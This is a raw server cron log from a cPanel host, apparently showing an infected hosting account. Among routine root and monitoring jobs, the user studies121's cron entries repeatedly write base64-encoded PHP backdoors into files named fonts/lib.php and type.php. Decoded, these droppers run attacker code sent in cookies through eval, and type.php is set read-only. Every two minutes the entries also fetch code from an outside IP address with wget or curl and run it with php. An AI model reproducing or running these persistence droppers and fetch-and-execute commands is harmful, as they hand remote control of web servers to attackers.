Sep 12 12:21:01 ip-184-168-122-23 CROND[24312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:22:01 ip-184-168-122-23 CROND[24466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:22:01 ip-184-168-122-23 CROND[24468]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:22:01 ip-184-168-122-23 CROND[24470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:22:01 ip-184-168-122-23 CROND[24471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:22:01 ip-184-168-122-23 CROND[24473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:23:01 ip-184-168-122-23 CROND[24628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:23:01 ip-184-168-122-23 CROND[24629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:23:01 ip-184-168-122-23 CROND[24626]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:23:01 ip-184-168-122-23 CROND[24627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:24:01 ip-184-168-122-23 CROND[24903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:24:01 ip-184-168-122-23 CROND[24904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:24:01 ip-184-168-122-23 CROND[24907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:24:01 ip-184-168-122-23 CROND[24909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:24:01 ip-184-168-122-23 CROND[24908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:25:01 ip-184-168-122-23 CROND[25088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:25:01 ip-184-168-122-23 CROND[25090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:25:01 ip-184-168-122-23 CROND[25091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:25:01 ip-184-168-122-23 CROND[25092]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 12 12:25:01 ip-184-168-122-23 CROND[25093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:25:01 ip-184-168-122-23 CROND[25094]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:25:01 ip-184-168-122-23 CROND[25096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:26:01 ip-184-168-122-23 CROND[25273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:26:01 ip-184-168-122-23 CROND[25276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:26:01 ip-184-168-122-23 CROND[25275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:26:01 ip-184-168-122-23 CROND[25277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:26:01 ip-184-168-122-23 CROND[25274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:27:01 ip-184-168-122-23 CROND[25488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:27:01 ip-184-168-122-23 CROND[25491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:27:01 ip-184-168-122-23 CROND[25490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:27:01 ip-184-168-122-23 CROND[25492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:28:01 ip-184-168-122-23 CROND[25677]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:28:01 ip-184-168-122-23 CROND[25679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:28:01 ip-184-168-122-23 CROND[25682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:28:01 ip-184-168-122-23 CROND[25684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:28:01 ip-184-168-122-23 CROND[25683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:29:02 ip-184-168-122-23 CROND[25916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:29:02 ip-184-168-122-23 CROND[25919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:29:02 ip-184-168-122-23 CROND[25921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:29:02 ip-184-168-122-23 CROND[25922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:30:01 ip-184-168-122-23 CROND[26073]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:30:01 ip-184-168-122-23 CROND[26075]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 12:30:01 ip-184-168-122-23 CROND[26076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:30:01 ip-184-168-122-23 CROND[26074]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:30:01 ip-184-168-122-23 CROND[26078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 12:30:01 ip-184-168-122-23 CROND[26081]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 12:30:01 ip-184-168-122-23 CROND[26079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:30:01 ip-184-168-122-23 CROND[26080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:30:02 ip-184-168-122-23 CROND[26077]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 12:31:01 ip-184-168-122-23 CROND[26253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:31:01 ip-184-168-122-23 CROND[26256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:31:01 ip-184-168-122-23 CROND[26257]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 12:31:01 ip-184-168-122-23 CROND[26258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:31:01 ip-184-168-122-23 CROND[26255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:32:01 ip-184-168-122-23 CROND[26450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 12:32:01 ip-184-168-122-23 CROND[26452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:32:01 ip-184-168-122-23 CROND[26453]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 12:32:01 ip-184-168-122-23 CROND[26454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 12:32:01 ip-184-168-122-23 CROND[26455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 12:33:01 ip-184-168-122-23 CROND[26647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 12:33:01 ip-184-168-122-23 CROND[26648]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
